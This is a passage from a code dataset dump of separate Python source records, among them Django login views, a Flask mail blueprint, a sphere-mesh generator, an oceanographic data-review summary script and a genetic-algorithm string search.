doc","sub_path":"card_ui.py","file_name":"card_ui.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"620214737","text":"from django.shortcuts import render, redirect\nfrom .forms import SignUpForm, LoginForm\nfrom django.contrib.auth import authenticate, login\n# Create your views here.\n\n\ndef index(request):\n return render(request, 'index.html')\n\n\ndef register(request):\n msg = None\n if request.method == 'POST':\n form = SignUpForm(request.POST)\n if form.is_valid():\n user = form.save()\n msg = 'user created'\n return redirect('login_view')\n else:\n msg = 'form is not valid'\n else:\n form = SignUpForm()\n return render(request,'register.html', {'form': form, 'msg': msg})\n\n\ndef login_view(request):\n form = LoginForm(request.POST or None)\n msg = None\n if request.method == 'POST':\n if form.is_valid():\n username = form.cleaned_data.get('username')\n password = form.cleaned_data.get('password')\n user = authenticate(username=username, password=password)\n if user is not None and user.is_admin:\n login(request, user)\n return redirect('adminpage')\n elif user is not None and user.is_customer:\n login(request, user)\n return redirect('customer')\n elif user is not None and user.is_employee:\n login(request, user)\n return redirect('employee')\n else:\n msg= 'invalid credentials'\n else:\n msg = 'error validating form'\n return render(request, 'login.html', {'form': form, 'msg': msg})\n\n\ndef admin(request):\n return render(request,'admin.html')\n\n\ndef customer(request):\n return render(request,'customer.html')\n\n\ndef employee(request):\n return render(request,'employee.html')","sub_path":"account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"633895052","text":"import sys\nsys.path.append('..')\n\nimport gearman\nimport json\nimport time\nimport traceback\n\n\ndef task_listener_reverse(gearman_worker, gearman_job):\n try:\n s = gearman_job.data\n params_dic = json.loads(s)\n print(params_dic)\n return \"ok\"\n except Exception as e:\n print(e)\n traceback.print_exc()\n return 'error'\n\n\nif __name__ == \"__main__\":\n gm_worker = gearman.GearmanWorker(['localhost:4730'])\n gm_worker.set_client_id('python-worker')\n gm_worker.register_task('MONITOR_TRACKER_SERVER', task_listener_reverse)\n gm_worker.work()","sub_path":"tools/gearmanWorker.py","file_name":"gearmanWorker.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"475257032","text":"total = 0\nwhile True:\n inp = input('Enter a number (press Enter to stop): ').strip()\n if inp == '': # len(inp) == 0 // not inp\n break\n elif not inp.isnumeric():\n print('Enter a number, moron')\n else:\n num = int(inp)\n total += num\n print(f\"You're subtotal so far is {total}\")\nprint(f'The final total is: {total}')\n\n","sub_path":"C/adder.py","file_name":"adder.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"573832046","text":"#!/usr/bin/env python\n\"\"\"\nCreates a sphere of radius r, centered at x0, y0, z0\n\nArguments (command line arguments)\n----------\nrec : int, number of recursions for unit sphere. (# of elements = 2^[(2*rec)+1]) \nr : float, radius.\nx0 : float, x center of sphere.\ny0 : float, y center of sphere.\nz0 : float, z center of sphere.\nname: str, output file name.\n\nReturns\n-----\nFile with vertices \".vert\"\nFile with triangle indices \".face\"\n\"\"\"\n\nimport numpy\nfrom triangulation import create_unit_sphere\nfrom argparse import ArgumentParser\n\ndef read_inputs():\n \"\"\"\n Parse command-line arguments to run mesh_sphere.\n\n User should provide:\n -rec : int, number of recursions for unit sphere.\n -r : float, radius of the sphere.\n -x0 : float, x coordinate of the center of sphere.\n -y0 : float, y coordinate of the center of sphere.\n -z0 : float, z coordinate of the center of sphere.\n -name: str, output file name.\n \"\"\"\n\n parser = ArgumentParser(description='Manage mesh_sphere command line arguments')\n\n\n parser.add_argument('-rec', '--recursions', dest='rec', type=int, default=None,\n help=\"number of recursions for unit sphere\")\n\n parser.add_argument('-r', '--radius', dest='r', type=float, default=None,\n help=\"radius of the sphere\")\n\n parser.add_argument('-x0', '--x_center', dest='x0', type=float, default=None,\n help=\"x coordinate of the center of sphere\")\n\n parser.add_argument('-y0', '--y_center', dest='y0', type=float, default=None,\n help=\"y coordinate of the center of sphere\")\n\n parser.add_argument('-z0', '--z_center', dest='z0', type=float, default=None,\n help=\"z coordinate of the center of sphere\")\n\n parser.add_argument('-n', '--name', dest='name', type=str, default=None,\n help=\"output file name\")\n\n return parser.parse_args()\n\nargs = read_inputs()\n\nrec = args.rec\nr = args.r\nx0 = args.x0\ny0 = args.y0\nz0 = args.z0\nfilename = args.name\n\nxc = numpy.array([x0,y0,z0])\nvertex, index, center = create_unit_sphere(rec)\nvertex *= r\nvertex += xc\n\nindex += 1 # Agrees with msms format\nindex_format = numpy.zeros_like(index)\nindex_format[:,0] = index[:,0]\nindex_format[:,1] = index[:,2]\nindex_format[:,2] = index[:,1]\n\n# Check\nx_test = numpy.average(vertex[:,0])\ny_test = numpy.average(vertex[:,1])\nz_test = numpy.average(vertex[:,2])\nif abs(x_test-x0)>1e-12 or abs(y_test-y0)>1e-12 or abs(z_test-z0)>1e-12:\n print('Center is not right!')\n\nnumpy.savetxt(filename+'.vert', vertex, fmt='%.4f')\nnumpy.savetxt(filename+'.face', index_format, fmt='%i')\n\nprint('Sphere with %i faces, radius %f and centered at %f,%f,%f was saved to the file '%(len(index), r, x0, y0, z0)+filename)\n","sub_path":"preprocessing_tools/mesh_sphere.py","file_name":"mesh_sphere.py","file_ext":"py","file_size_in_byte":2811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"95884253","text":"#!/usr/bin/env python\n\"\"\"\nCreated on 9/13/2019\n@author Lori Garzio\n@brief Provides human-readable .csv summaries of the json output from the nc_file_analysis tool: 1) file summary,\n2) science variable comparison, and 3) science variable statistics. Saves the output in the same directory as the .json\nfiles provided.\n\"\"\"\n\n\nimport os\nimport pandas as pd\nimport numpy as np\nimport json\nimport ast\nimport glob\n\n\ndef group_percents(summary_dict, lst):\n percent_grps = [99, [95, 99], [75, 95], [50, 75], [25, 50], 25]\n for grp in percent_grps:\n if grp == 99:\n x99 = []\n ilst = []\n for i, x in enumerate(lst):\n if type(x) is not str and x >= grp:\n x99.append(x)\n elif type(x) is not str and x < grp:\n ilst.append(i)\n #x99 = len([x for x in lst if (type(x) is not str and x > grp)])\n if len(x99) > 0:\n summary_dict['99'] = len(x99)\n elif grp == 25:\n x0 = len([x for x in lst if x < grp])\n if x0 > 0:\n summary_dict['0'] = x0\n else:\n xgrp = len([x for x in lst if grp[0] <= x < grp[1]])\n if xgrp > 0:\n summary_dict[str(int(grp[0]))] = xgrp\n return summary_dict, ilst\n\n\ndef load_json_file(f):\n if f.endswith('.json'):\n info = json.load(open(f, 'r'))\n else:\n print('Not a .json file')\n return info\n\n\ndef time_delta(t0, t1):\n # calculate the time difference between 2 dates\n time_delta = pd.to_datetime(t1) - pd.to_datetime(t0)\n return time_delta\n\n\ndef main(directory):\n ff = glob.glob(directory + 'deployment*file_analysis.json')\n deployments = [x.split('/')[-1].split('-')[0] for x in ff]\n deployments.sort()\n\n ps = load_json_file(glob.glob(directory + '*preferred_stream.json')[0])\n\n mc = load_json_file(glob.glob(directory + '*method_comparison.json')[0])\n\n fsummary_headers = ['deployment', 'file_downloaded', 'preferred_method', 'stream', 'other_methods',\n 'time_delta_start', 'time_delta_end', 'start_days_missing', 'end_days_missing',\n 'location_diff_km', 'n_days_deployed', 'n_timestamps', 'n_days', 'deploy_depth', 'pressure_mean',\n 'pressure_max', 'pressure_compare', 'pressure_diff', 'pressure_var', 'pressure_units',\n 'num_pressure_outliers', 'sampling_rate_seconds', 'sampling_rate_details', 'missing_vars_file',\n 'missing_vars_db', 'file_time_gaps', 'gaps_num', 'gaps_num_days', 'timestamp_test',\n 'n_science_vars', 'valid_data_test', 'variable_comparison_details','variable_comparison_test',\n 'full_dataset_test', 'file_coordinates', 'coordinate_test', 'notes', 'filename']\n vsummary_headers = ['deployment', 'preferred_method', 'stream', 'variable', 'units', 'fill_value', 'global_ranges',\n 'n_all', 'n_nans', 'n_fillvalues', 'n_grange', 'n_outliers', 'n_stats', 'percent_valid_data',\n 'mean', 'min', 'max', 'stdev']\n csummary_headers = ['deployment', 'preferred_method_stream', 'comparison_method_stream', 'long_name',\n 'preferred_name', 'preferred_units', 'unit_comparison_test', 'preferred_n', 'preferred_n_nan',\n 'missing_data', 'n_comparison', 'min_abs_diff', 'max_abs_diff', 'n_diff_greater_zero',\n 'percent_diff_greater_zero']\n fsummary_rows = []\n vsummary_rows = []\n csummary_rows = []\n for dindex, d in enumerate(deployments):\n f = [y for y in ff if d in y]\n data = load_json_file(f[0])\n if dindex == 0:\n refdes = data['refdes']\n node = refdes.split('-')[1]\n loc_compare = data['location_comparison']\n\n ddata = data['deployments'][d]\n start = ddata['deploy_start']\n stop = ddata['deploy_stop']\n depth = ddata['deploy_depth']\n n_days_deployed = ddata['n_days_deployed']\n for m in ddata['method'].keys():\n for s in ddata['method'][m]['stream'].keys():\n ms = '-'.join((m, s))\n comparison_check = []\n summary_written = []\n if ms in ps[d]:\n # build the summary of comparison of science variables among delivery methods\n missing_data_list = []\n diff_gzero_list = []\n var_list = []\n try:\n for compare_str in mc['deployments'][d]['comparison'].keys():\n if str(ms) in str(compare_str):\n comparison_check.append(str(compare_str))\n [ds0, ds1] = [compare_str.split(' ')[0], compare_str.split(' ')[1]]\n if ms == ds0:\n preferred_stream = 'ds0'\n preferred_stream_name = ds0\n comparison_stream_name = ds1\n else:\n preferred_stream = 'ds1'\n preferred_stream_name = ds1\n comparison_stream_name = ds0\n\n for var in mc['deployments'][d]['comparison'][compare_str]['vars'].keys():\n var_list.append(var)\n compare_summary = mc['deployments'][d]['comparison'][compare_str]['vars'][var]\n name = compare_summary[preferred_stream]['name']\n units = compare_summary[preferred_stream]['units']\n unit_test = compare_summary['unit_test']\n n = compare_summary[preferred_stream]['n']\n n_nan = compare_summary[preferred_stream]['n_nan']\n missing_data = compare_summary[preferred_stream]['missing']\n n_comparison = compare_summary['n_comparison']\n min_abs_diff = compare_summary['min_abs_diff']\n max_abs_diff = compare_summary['max_abs_diff']\n n_diff_greater_zero = compare_summary['n_diff_greater_zero']\n if n_comparison > 0:\n percent_diff_greater_zero = round((float(n_diff_greater_zero)/float(n_comparison) * 100), 2)\n else:\n percent_diff_greater_zero = None\n\n missing_data_list.append(str(missing_data))\n diff_gzero_list.append(percent_diff_greater_zero)\n\n csummary_rows.append([d, str(preferred_stream_name), str(comparison_stream_name),\n var, name, units, unit_test, n, n_nan, missing_data,\n n_comparison, min_abs_diff, max_abs_diff,\n n_diff_greater_zero, percent_diff_greater_zero])\n summary_written.append('yes')\n except KeyError:\n csummary_rows.append([d, ms, 'no other methods available for comparison', None, None, None,\n None, None, None, None, None, None, None, None, None])\n summary_written.append('yes')\n\n if len(comparison_check) == 0 and len(summary_written) == 0:\n csummary_rows.append([d, ms, 'no other methods available for comparison', None, None, None,\n None, None, None, None, None, None, None, None, None])\n\n for fname in ddata['method'][m]['stream'][s]['file'].keys():\n fsummary = ddata['method'][m]['stream'][s]['file'][fname]\n nt = fsummary['n_timestamps']\n\n # build the summary of science variable statistics\n valid_list = []\n for v in ddata['method'][m]['stream'][s]['file'][fname]['sci_var_stats'].keys():\n vsummary = data['deployments'][d]['method'][m]['stream'][s]['file'][fname]['sci_var_stats'][v]\n n_all = vsummary['n_all']\n units = vsummary['units']\n mean = vsummary['mean']\n min = vsummary['min']\n max = vsummary['max']\n stdev = vsummary['stdev']\n n_stats = vsummary['n_stats']\n n_o = vsummary['n_outliers']\n n_nan = vsummary['n_nans']\n n_fv = vsummary['n_fillvalues']\n fv = vsummary['fill_value']\n gr = vsummary['global_ranges']\n n_gr = vsummary['n_grange']\n if type(n_stats) == str:\n percent_valid_data = 'stats not calculated'\n elif type(n_all) == list:\n percent_valid_data = round((float(n_stats) / float(n_all[1]) * 100), 2)\n else:\n percent_valid_data = round((float(n_stats)/float(n_all) * 100), 2)\n\n # Don't include OPTAA wavelengths in valid data summary\n if v not in ['wavelength_a', 'wavelength_c']:\n valid_list.append(percent_valid_data)\n\n vsummary_rows.append([d, m, s, v, units, fv, gr, n_all, n_nan, n_fv, n_gr, n_o, n_stats,\n percent_valid_data, mean, min, max, stdev])\n\n # build file summary\n if len(comparison_check) == 0:\n other_methods = []\n else:\n other_methods = [str(x) for x in ddata['method'].keys() if x not in [m]]\n dwnl = fsummary['file_downloaded']\n coords = fsummary['file_coordinates']\n sampling_rate_seconds = fsummary['sampling_rate_seconds']\n sampling_rate_details = fsummary['sampling_rate_details']\n dstart = fsummary['data_start']\n dstop = fsummary['data_stop']\n gaps = fsummary['time_gaps']\n n_gaps = len(gaps)\n v_missing_f = fsummary['vars_not_in_file']\n v_missing_db = fsummary['vars_not_in_db']\n nd = fsummary['n_days']\n vpress = fsummary['pressure_comparison']['variable']\n mpress = fsummary['pressure_comparison']['pressure_mean']\n maxpress = fsummary['pressure_comparison']['pressure_max']\n upress = fsummary['pressure_comparison']['units']\n press_diff = fsummary['pressure_comparison']['diff']\n press_compare = fsummary['pressure_comparison']['pressure_compare']\n opress = fsummary['pressure_comparison']['num_outliers']\n notes = fsummary['notes']\n n_science_vars = len(valid_list)\n\n tdelta_start = time_delta(start, dstart)\n if stop == 'None':\n tdelta_stop = 'no end date in AM'\n tdelta_stop_days = None\n else:\n tdelta_stop = time_delta(dstop, stop)\n tdelta_stop_days = tdelta_stop.days\n\n # Summarize the timestamps tests\n at = fsummary['ascending_timestamps']\n ut = fsummary['unique_timestamps']\n if 'pass' in str(at) and 'pass' in str(ut):\n time_test = 'pass'\n elif 'pass' in str(at) and 'fail' in str(ut):\n time_test = 'fail unique test'\n elif 'fail' in str(at) and 'pass' in str(ut):\n time_test = 'fail ascending test'\n elif 'fail' in str(at) and 'fail' in str(ut):\n time_test = 'fail unique and ascending tests'\n elif 'not_tested' in str(at) and 'pass' in str(ut):\n time_test = 'pass unique test - ascending not tested'\n elif 'not_tested' in str(at) and 'fail' in str(ut):\n time_test = 'fail unique test - ascending not tested'\n elif 'not_tested' in str(at) and str(ut) == '':\n time_test = 'unique and ascending not tested'\n\n # Location difference from first deployment of instrument\n loc_diff = []\n if dindex == 0:\n loc_diff = []\n else:\n d1 = ''.join(('D', str(d[-1])))\n for i in range(dindex):\n d0 = ''.join(('D', str(deployments[i][-1])))\n for k, value in loc_compare.items():\n kk = k.split('_')\n if all(elem in kk for elem in [d1, d0]):\n loc_diff.append(value)\n\n # Count total number of days missing within file\n n_gaps_days = 0\n for g in gaps:\n add_days = (pd.to_datetime(g[1]) - pd.to_datetime(g[0])).days\n n_gaps_days = n_gaps_days + add_days\n\n # Check if any percent_valid_data values (for science variables) are < 95\n pvd_test = dict()\n snc = len([x for x in valid_list if x == 'stats not calculated'])\n\n if snc > 0:\n pvd_test['stats not calculated'] = snc\n else:\n valid_list = [round(v) for v in valid_list]\n pvd_test, dlst = group_percents(pvd_test, valid_list)\n\n # Check if data are found in a \"non-preferred\" stream for any science variable\n md_unique = np.unique(missing_data_list).tolist()\n md_options = ['timestamp_seconds do not match']\n if len(md_unique) == 0:\n fd_test = 'no other streams for comparison'\n elif len(md_unique) == 1 and 'no missing data' in md_unique[0]:\n fd_test = 'pass'\n elif len(md_unique) == 1 and md_unique[0] in md_options:\n fd_test = 'no comparison: timestamps do not match'\n elif len(md_unique) == 1 and md_unique[0] in 'No valid data to compare':\n fd_test = 'No valid data to compare'\n else:\n n_missing_gaps = []\n n_missing_days = []\n for md in md_unique:\n if 'no missing data' in md:\n continue\n elif 'No valid data to compare' in md:\n continue\n elif '2D dataset' in md:\n continue\n else:\n md = ast.literal_eval(md)\n n_missing_gaps.append(len(md['missing_data_gaps']))\n n_missing_days.append(md['n_missing_days_total'])\n if len(n_missing_gaps) == 0:\n fd_test = 'pass'\n else:\n n_missing_gaps = np.unique([np.amin(n_missing_gaps), np.amax(n_missing_gaps)]).tolist()\n n_missing_days = np.unique([np.amin(n_missing_days), np.amax(n_missing_days)]).tolist()\n\n # if there are the same number of gaps and days missing, the test is invalid\n if (n_missing_gaps[0] > 100) & (n_missing_gaps[0] == n_missing_days[0]):\n fd_test = 'no comparison: timestamps do not match'\n else:\n fd_test = 'fail: data found in another stream (gaps: {} days: {})'.format(n_missing_gaps, n_missing_days)\n\n # Check that the difference between multiple methods for science variables is less than 0\n comparison_details = dict()\n if fd_test == 'No valid data to compare':\n comparison_details = 'No valid data to compare'\n comparison_test = 'No valid data to compare'\n elif fd_test == 'no comparison: timestamps do not match':\n comparison_details = 'no comparison: timestamps do not match'\n comparison_test = 'no comparison: timestamps do not match'\n else:\n if len(diff_gzero_list) > 0:\n if list(set(diff_gzero_list)) == [None]:\n comparison_details = 'no comparison: timestamps do not match'\n comparison_test = 'no comparison: timestamps do not match'\n else:\n compare_check = [100.00 - dgz for dgz in diff_gzero_list if dgz is not None]\n comparison_details, ilst = group_percents(comparison_details, compare_check)\n if len(ilst) > 0:\n vars_fail = [str(var_list[i]) for i in ilst]\n comparison_test = 'fail: check {}'.format(vars_fail)\n else:\n comparison_test = 'pass'\n else:\n comparison_details = 'no other streams for comparison'\n comparison_test = 'no other streams for comparison'\n\n # Check the coordinates in the file\n if 'SBD' not in node:\n check_coords = list(set(['obs', 'time', 'pressure', 'lat', 'lon']) - set(coords))\n else:\n check_coords = list(set(['obs', 'time', 'lat', 'lon']) - set(coords))\n\n if len(check_coords) > 0:\n if 'pressure' in check_coords:\n if len([j for j in coords if 'pressure' in j]) == 1:\n check_coords.remove('pressure')\n if len(check_coords) > 0:\n coord_test = 'missing: {}'.format(check_coords)\n else:\n coord_test = 'pass'\n else:\n coord_test = 'missing: {}'.format(check_coords)\n else:\n coord_test = 'missing: {}'.format(check_coords)\n else:\n coord_test = 'pass'\n\n fsummary_rows.append([d, dwnl, m, s, other_methods, str(tdelta_start), str(tdelta_stop),\n tdelta_start.days, tdelta_stop_days, loc_diff, n_days_deployed, nt, nd,\n depth, mpress, maxpress, press_compare, press_diff, vpress, upress, opress,\n sampling_rate_seconds, sampling_rate_details, v_missing_f, v_missing_db,\n gaps, n_gaps, n_gaps_days, time_test, n_science_vars, pvd_test,\n comparison_details, comparison_test, fd_test, coords, coord_test, notes,\n fname])\n\n fdf = pd.DataFrame(fsummary_rows, columns=fsummary_headers)\n fdf.to_csv('{}/{}_file_summary.csv'.format(os.path.dirname(f[0]), refdes), index=False)\n\n if 'streamed' not in ps[list(ps.keys())[0]][0]:\n cdf = pd.DataFrame(csummary_rows, columns=csummary_headers)\n cdf.to_csv('{}/{}_sciencevar_comparison_summary.csv'.format(os.path.dirname(f[0]), refdes), index=False, encoding='utf-8')\n\n vdf = pd.DataFrame(vsummary_rows, columns=vsummary_headers)\n vdf.to_csv('{}/{}_sciencevar_summary.csv'.format(os.path.dirname(f[0]), refdes), index=False, encoding='utf-8')\n\n\nif __name__ == '__main__':\n # f = '/Users/lgarzio/Documents/repo/OOI/ooi-data-lab/data-review-tools/data_review/output/CE02SHBP/CE02SHBP-LJ01D-08-OPTAAD106/CE02SHBP-LJ01D-08-OPTAAD106-file_analysis.json'\n # ps = '/Users/lgarzio/Documents/repo/OOI/ooi-data-lab/data-review-tools/data_review/output/CE02SHBP/CE02SHBP-LJ01D-08-OPTAAD106/CE02SHBP-LJ01D-08-OPTAAD106-preferred_stream.json'\n # mc = '/Users/lgarzio/Documents/repo/OOI/ooi-data-lab/data-review-tools/data_review/output/CE02SHBP/CE02SHBP-LJ01D-08-OPTAAD106/CE02SHBP-LJ01D-08-OPTAAD106-method_comparison.json'\n directory = '/Users/lgarzio/Documents/repo/OOI/ooi-data-lab/data-review-tools/data_review/output/CE02SHBP/CE02SHBP-LJ01D-08-OPTAAD106/'\n\n main(directory)\n","sub_path":"data_review/scripts/nc_file_summary_cabled.py","file_name":"nc_file_summary_cabled.py","file_ext":"py","file_size_in_byte":22384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"562601386","text":"#Autor: Petar Radicevic\n\n# -*- coding: UTF-8 -*-\n\nfrom flask import (\n Blueprint, flash, g, redirect, render_template, request, session, url_for\n)\nimport datetime\n\nfrom sqlalchemy import desc, or_\n\nfrom kavijar.auth import login_required, check_ban\nfrom kavijar.models import User, Mailmsg\nfrom . import db\n\nbp = Blueprint('mail', __name__, url_prefix='/mail')\n\n\n@bp.route('/', methods=('GET', 'POST'))\n@login_required\n@check_ban\ndef msg_main():\n g.user.statusUpdate = 0\n db.session.commit()\n uid = g.user.idUser\n msg_list = Mailmsg.query.filter(or_(Mailmsg.idTo == uid, Mailmsg.idFrom == uid)) \\\n .order_by(desc(Mailmsg.time)).all()\n return render_template('mail/mail.html', msg_list=msg_list)\n\n\ndef send_msg_function(sender, recipient, msgbody, msgtime):\n recipient.statusUpdate += 1\n new_message = Mailmsg(idFrom=sender.idUser, idTo=recipient.idUser,\n time=msgtime, content=msgbody, readFlag=0)\n db.session.add(new_message)\n db.session.commit()\n\n\n@bp.route('/send_msg', methods=('GET', 'POST'))\n@login_required\n@check_ban\ndef send_msg():\n if request.method == 'POST':\n sender = g.user\n recipient = User.query.filter_by(username=request.form['recipient']).first()\n msgbody = request.form['body']\n msgtime = datetime.datetime.now()\n error = None\n if recipient is None:\n error = \"Nepostojeći korisnik!\"\n elif len(msgbody) > 256 or len(msgbody) == 0:\n error = \"Losa duzina poruke!\"\n if error is None:\n send_msg_function(sender, recipient, msgbody, msgtime)\n else:\n flash(error)\n return render_template('mail/send_msg.html')\n\n\n@bp.route('/view_msg/')\n@login_required\n@check_ban\ndef view_msg(id):\n curr_msg = Mailmsg.query.filter_by(idMail=id).first()\n if curr_msg is not None and curr_msg.idTo != g.user.idUser and curr_msg.idFrom != g.user.idUser:\n curr_msg = None\n if curr_msg is not None and curr_msg.idTo == g.user.idUser:\n curr_msg.readFlag = 1\n db.session.commit()\n return render_template('mail/view_msg.html', curr_msg=curr_msg)\n","sub_path":"Implementacija/Kavijar-project/kavijar/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"547463825","text":"__author__ = 'Lai Tash (lai.tash@yandex.ru)'\n\nfrom collections import namedtuple\n\nOrbitalElements = namedtuple(\"OrbitalElements\", (\n \"eccentricity\",\n \"semimajor_axis\", #semimajor axis, in meters\n \"inclination\", #inclination, in radians\n \"LAN\", #Longtitude of the ascending node, in radians\n \"AOP\", #Argument of periapsis, in radians\n \"M0\" #Mean anomaly at epoch, in radians\n))\n\nMassiveBody = namedtuple(\"MassiveBody\", (\n \"mass\", #mass, in kg\n \"radius\", #radius, in meters\n \"SOI\" #sphere of influence, in meters\n))","sub_path":"src/pyppler/orbit/structs.py","file_name":"structs.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"347273394","text":"from citizen import Citizen\nfrom string_search_fitness import StringSearchFitness\nfrom string_search_crossover import StringSearchCrossOver\nimport random\nimport utils\n\n\nclass StringSearchProblem:\n def __init__(self, data):\n self.data = data\n\n # Check if the fitness is 0, meaning, if we are done and found the target string\n def is_done(self, best):\n if best.fitness == 0 and best.str == self.data.ga_target:\n return True\n return False\n\n # Randomly initialize the population string\n def init_citizen(self):\n citizen = Citizen()\n tsize = len(self.data.ga_target)\n for j in range(tsize):\n citizen.str = citizen.str + str(chr((random.randint(0, 32767) % 90) + 32))\n return citizen\n\n # Calculate the fitness according to the chosen method\n def calc_fitness(self, population):\n if self.data.string_search_fitness == StringSearchFitness.DISTANCE:\n self.calc_distance_fitness(population)\n else:\n self.calc_bulls_n_cows_fitness(population)\n\n # Calculate the fitness according to the overall distance from the target string\n def calc_distance_fitness(self, population):\n target = self.data.ga_target\n tsize = len(target)\n for i in range(self.data.ga_popsize):\n fitness = 0\n for j in range(tsize):\n fitness = fitness + abs(int(ord(population[i].str[j]) - ord(target[j])))\n population[i].fitness = fitness\n\n def calc_similarity(self, citizen_one, citizen_two):\n similarity = 0\n for i in range(len(self.data.ga_target)):\n if citizen_one.str[i] != citizen_two.str[i]:\n similarity = similarity + 1\n return round((similarity / len(self.data.ga_target)), 3)\n\n def different_entries(self, citizen_one, citizen_two):\n entries = 0\n for i in range(len(self.data.ga_target)):\n if citizen_one.str[i] != citizen_two.str[i]:\n entries = entries + 1\n return entries\n\n # Calculate the fitness using the bulls and cows method\n # If a letter does not exist in the target, add a penalty of 50\n # If a letter exists but it's not in the correct place, add a penalty of 20\n def calc_bulls_n_cows_fitness(self, population):\n target = self.data.ga_target\n tsize = len(target)\n not_found_penalty = 50\n incorrect_place_penalty = 20\n for i in range(self.data.ga_popsize):\n fitness = 0\n for j in range(tsize):\n if population[i].str[j] != target[j]:\n if population[i].str[j] in target:\n fitness = fitness + incorrect_place_penalty\n else:\n fitness = fitness + not_found_penalty\n population[i].fitness = fitness\n\n # Print the fittest string between all strings in the generation\n def print_best(self, gav, iter_num):\n print(\"Best: \" + gav[0].str + \" (\" + str(gav[0].fitness) + \")\")\n with open(\"output.txt\", 'a') as file:\n file.write(\"Best: \" + gav[0].str + \" (\" + str(gav[0].fitness) + \")\\n\")\n file.write(\" Iteration number: \" + str(iter_num) + \"\\n\")\n file.write(\" Fitness average: \" + str(round(utils.average(gav, self.data.ga_popsize), 3)) + \"\\n\")\n file.write(\" Fitness deviation: \" + str(round(utils.deviation(gav, self.data.ga_popsize), 3)) + \"\\n\")\n\n # Perform mutation by randomly changing a random character in the string\n def mutate(self, citizen):\n tsize = len(self.data.ga_target)\n ipos = int(random.randint(0, 32767) % tsize)\n delta = int((random.randint(0, 32767) % 90) + 32)\n string_list = list(citizen.str)\n string_list[ipos] = str(chr(((ord(string_list[ipos]) + delta) % 122)))\n citizen.str = ''.join(string_list)\n\n # Perform crossover according to what the user chose. One point crossover, or 2-point crossover\n def crossover(self, first_parent, second_parent):\n tsize = len(self.data.ga_target)\n if self.data.string_search_crossover == StringSearchCrossOver.ONE_POINT:\n spos = int(random.randint(0, 32767) % tsize)\n return Citizen(first_parent.str[0:spos] + second_parent.str[spos:tsize])\n elif self.data.string_search_crossover == StringSearchCrossOver.TWO_POINT:\n spos1 = int(random.randint(0, 32767) % tsize)\n spos2 = int(random.randint(0, 32767) % tsize)\n if spos1 > spos2:\n spos1, spos2 = spos2, spos1\n return Citizen(first_parent.str[0:spos1] + second_parent.str[spos1:spos2] +\n first_parent.str[spos2:tsize])\n","sub_path":"string_search_problem.py","file_name":"string_search_problem.py","file_ext":"py","file_size_in_byte":4727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"556574864","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\nimport os\nimport sys\nimport json\nimport logging\nimport argparse\nimport numpy as np\nfrom estimators import Estimator\nfrom itertools import izip\nfrom collections import Counter, defaultdict\nfrom numpy.random import negative_binomial\nfrom scipy.optimize import linear_sum_assignment\nfrom utils import make_dir, normalize_dict, \\\n split_in_two_gt, split_in_two_rand, rescale, \\\n logit, sigmoid\n\nlogging.basicConfig(stream=sys.stderr, level=logging.DEBUG)\n\n\ndef get_args(args=None, namespace=None):\n parser = argparse.ArgumentParser(description=\"simulation of sex selection and trait variability\")\n\n # sampling and data collection parameters\n group0 = parser.add_argument_group(\n 'General', 'parameters that affect how and which data is collected')\n group0.add_argument('--seed', default=None, type=int,\n help=\"Random number generator seed (for reproducibility) \"\n \"Default: None (output will vary with every run)\")\n group0.add_argument('--estimators', type=str, default='kl,chisq,ratio,adj_risk',\n help=\"Comma-separated list of names of the estimators to use. \"\n \"Default: \\\"kl,chisq,ratio,adj_risk\\\"\")\n\n # model parameters\n group1 = parser.add_argument_group(\n 'Model', 'parameters that affect model conditions')\n group1.add_argument('--inheritance_pattern', type=str, choices=[\"male\", \"female\", \"diploid\"],\n default=\"male\",\n help=\"from which parent to inherit genes (diploid model unsupported as of now)\")\n group1.add_argument('--generations', default=12, type=int, help=\"Number of generations. Default: 12\")\n group1.add_argument('--pool_size', default=32, type=int, help=\"Number of females in pool. Default: 32\")\n group1.add_argument('--num_pools', default=5, type=int, help=\"Number of pools. Default: 5\")\n group1.add_argument('--dispersal', default=0.3, type=float,\n help=\"Amount of mixing between pools after every generation. \"\n \"Range: 0.0 (full allopatry) - 1.0 (50% mixture). Default: 0.3\")\n group1.add_argument('--male_baseline_variability', type=float, default=1.0,\n help=\"Baseline male variability. Default: 1.0\")\n group1.add_argument('--female_baseline_variability', type=float, default=1.0,\n help=\"Baseline female variability. Default: 1.0\")\n group1.add_argument('--g2_male_variability', type=float, default=1.5,\n help=\"Variability of genotype 2 males with respect to baseline sigma. Default: 1.5\")\n group1.add_argument('--g2_female_variability', type=float, default=1.0,\n help=\"Variability of genotype 2 females with respect to baseline sigma. Default: 1.0\")\n group1.add_argument('--male_lifespan', type=float, default=1.3,\n help=\"Average male reproductive lifespan (relative to female). \"\n \"Range: from 0.0 to 2.0. Default: 1.3\")\n group1.add_argument('--male_age_penalty', type=float, default=0.5,\n help=\"How much to subtract from male quality given higher age. Default: 0.5\")\n group1.add_argument('--binom_failures', type=float, default=7,\n help=\"Controls the shape of the negative binomial distribution from which \"\n \"the number of children is obtained (the probability of failure is adjusted \"\n \"automatically). Higher values can be interpreted as more peer/societal \"\n \"pressure to have kids. Default: 7\")\n group1.add_argument('--single_mother_fertility', type=float, default=0.75,\n help=\"Fertility of single mothers with respect to married. \"\n \"Range: 0 to +inf (but usually 0 to 1). Default: 0.75\")\n group1.add_argument('--female_mate_guarding', type=float, default=0.1,\n help=\"How much do females 